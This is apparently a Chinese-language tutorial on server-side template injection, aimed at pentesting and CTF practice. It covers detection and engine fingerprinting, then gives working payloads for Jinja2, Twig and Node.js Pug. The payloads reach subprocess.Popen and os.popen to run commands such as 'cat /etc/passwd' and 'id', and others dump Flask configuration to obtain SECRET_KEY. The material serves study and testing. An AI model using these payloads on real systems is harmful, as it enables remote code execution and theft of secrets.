参看所有收录EXP:

[SSTI (Server Side Template Injection) | HackTricks | HackTricks](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#python)

SSTI (Server Side Template Injection)

目录

简介

Server-Side Template Injection 2015 年由 James Kettle 在 Black Hat 提出完整利用链 SSTI 至此普及开来。说到后端模板与之对应的还有前端模板(CSTI),就是各种前端框架模板,一般危害就是执行 JS 代码。本文旨在简略记录后端模板基本原理不涉及前端模板内容。

模板是什么?

了解模板之前先看原来开发模式和模板开发有什么区别,最早开发是前后端都揉在一起,不管你在哪里要用到这 HTML 显示数据都需要重写一遍。

1
<h1><?php echo name ?></h1>

有了模板就可以先写好前端样式后面在填充数据,写好的前端可以被重复使用。

模板原理是往里 HTML 填充数据,最后通过模板引擎把前端和数据组装在一起返回。

1
<h1>{{ name }}</h1>

模板引擎将输入的 name 变量最终替换为完整 HTML。

1
<h1>raingray</h1>

啥是模板注入?

用户输入的内容被放入模板渲染。这个内容通常是表达式,如 {{ eval('cat /etc/passwd') }},渲染后表达式被执行。

1
<h1>root:x:0:0:root/root:/bin/bash......</h1>

模板注入的危害是什么?

通常可以调各个库来执行命令造成 RCE,能查当前对象的信息可能会返回 Secret 等模板信息,造成敏感信息泄露,再不济也是个 XSS。

说白了就是你能调语言啥库,能执行命令就 RCE,能读取文件就 LFI。

咋找注入点?

任何输入的内容被应用结合模板输出的地方都可以试,如模板大多支持写入 HTML,有 HTML 注入的地方要联想到可能存在模板注入,所以要随手尝试闭合 }}<h1>raingray</h1>{{`。 通常会在功能点 Fuzz 模板需要用到的特殊字符 `${{<%[%'"}}%,如果报错就可能存在。

咋判断 App 用的那款模板?

BurpSuite 官方给出一个判断逻辑,执行蓝色方块表达式,绿色箭头代表表达式成功执行,红色箭头代表走不通。如 {{7*'7'}} Jinja2 返回 7777777,Twig 返回 49,当没有结果时则漏洞不存在。

模板注入识别逻辑.png

图片来自 https://portswigger.net/research/server-side-template-injection

利用

利用思路是阅读模板官方文档关键点:

  1. 基本语法。知道怎么用。
  2. 安全建议。了解常见风险点。
  3. 内部变量。类似于 Java Reflection,或 Python Magic Method/Special Attributes,通过当前对象快速获取其他对象并调用利用。

Python Jinja2

subprocess.Popen 执行命令

jinja2 语法:

  • {%` block 开始 `%} block 结束

  • {{` print statement 开始 `}} print statement 结束

  • `` comment 结束

确认表达式被应用执行,内容返回七个字符串 7,或者返回 49。

1
2
{{'7'*7}}
{{7*7}}

获取 object 类

使用 ''.__class__ 属性获取 str 类实例,将返回 <class 'str'>。也可以使用其他基础数据类型,如 []{}

1
{{ ''.__class__ }}

__mro__Method Resolution Order)属性返回一个包含基类元组 (<class 'str'>, <class 'object'>),告诉你调用属性、方法时按照元组中的顺序查找。和 __mro__ 一致的方法还有 mro() 作用一致只是返回数据类型是列表。

1
{{''.__class__.__mro__}}

__base____bases__ 都能获得继承的第一个基类 object,只是 __bases__ 返回元组,另一个区别是在 Python2 里是获取字符串类 str 基类返回是 <type 'basestring'>

1
2
{{''.__class__.__bases__}}
{{''.__class__.__base__}}

获取基类是要得到 object,它是所有类的基类可以通过它得到 Python 中任何类的信息。通过更改索引 ''.__class__.__mro__[index] 区选返回哪个索引内容,如 ''.__class__.__mro__[1] 将返回 <class 'object'>

获取 object 子类

拿到 object 后用 __subclasses__() 方法返回包含子类的列表。

1
{{''.__class__.mro()[1].__subclasses__()}} 

__subclasses__执行结果.png

手动替换换行。

手动替换换行符1.png

找到 <class 'subprocess.Popen'>,确定索引是 233。

手动替换换行符2.png

既然通过索引能获取到 subprocess.Popen 类,通过 () 执行构造方法,传递要执行的命令。命令执行完 communicate() 读取 stdout 和 stderr 数据组成元组 (stdout_data, stderr_data) 返回。

1
2
{{''.__class__.mro()[1].__subclasses__()[233]("cat /etc/passwd", shell=True, stdout=-1).communicate()[0]}} 
{{''.__class__.mro()[1].__subclasses__()[233](['cat', "/etc/passwd"], stdout=-1).communicate()[0]}}

subprocess.Popen 构造方法参数为什么这样写?下面解读下。

args 默认读取列表,命令以空格作为分隔符,比如 cat /etc/passwd /etc/shadow,就要写成 ['cat', '/etc/passwd', '/etc/shadow']

shell 使用 shell=True 可直接在引号内写命令。Linux 下默认使用 /bin/sh 执行命令,Windows 怎么执行不太清楚。

1
Popen(['/bin/sh', '-c', 'cat /etc/passwd'])

stdout 具体为什么用 -1 暂时无法得知,不用就无法输出数据。

读取 Flask 配置

如果无法读取文件尝试看看能不能获取 Flask 配置信息

1
2
3
4
{{config}}
{{self.__dict__}}
{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}

重点关注配置中 SECRET_KEY 项。

1
<Config {'JSON_AS_ASCII': True, 'USE_X_SENDFILE': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_NAME': 'session', 'SESSION_REFRESH_EACH_REQUEST': True, 'LOGGER_HANDLER_POLICY': 'always', 'LOGGER_NAME': 'app', 'DEBUG': False, 'SECRET_KEY': None, 'EXPLAIN_TEMPLATE_LOADING': False, 'MAX_CONTENT_LENGTH': None, 'APPLICATION_ROOT': None, 'SERVER_NAME': None, 'PREFERRED_URL_SCHEME': 'http', 'JSONIFY_PRETTYPRINT_REGULAR': True, 'TESTING': False, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'PROPAGATE_EXCEPTIONS': None, 'TEMPLATES_AUTO_RELOAD': None, 'TRAP_BAD_REQUEST_ERRORS': False, 'JSON_SORT_KEYS': True, 'JSONIFY_MIMETYPE': 'application/json', 'SESSION_COOKIE_HTTPONLY': True, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SESSION_COOKIE_SECURE': False, 'TRAP_HTTP_EXCEPTIONS': False}>

self 对象获取

其他 Payload

1
2
3
4
{{[].__class__.__base__.__subclasses__()}}
>>> import jinja2
>>> jinja2.Template("{{ [].__class__.__base__.__subclasses__() }}").render()
"[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_rever......

https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/

执行命令并输出在模板中。

1
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()

能够获取 os 库的 Payload。

1
2
3
{{ self._TemplateReference__context.cycler.__init__.__globals__.os }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os }}

PHP Twig (1.9.0)

Payload。

1
{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('uname')}}

Node.js Pug

通过 NodeJS 全局对象 global,查找 require 导入 child_process.exec 执行命令。

1
global.require('child_process').exec('calc')

14.0.0 之前版本 mainModule 还没被移除有以下方法可以使用。

1
2
global.process.mainModule.require('child_process').exec('calc')
global.process.mainModule.constructor._load('child_process').exec('calc')

靶场练习

BUUCTF

Web Security Academy

防御

参考各个模板文档正确转义输出语句。

参考链接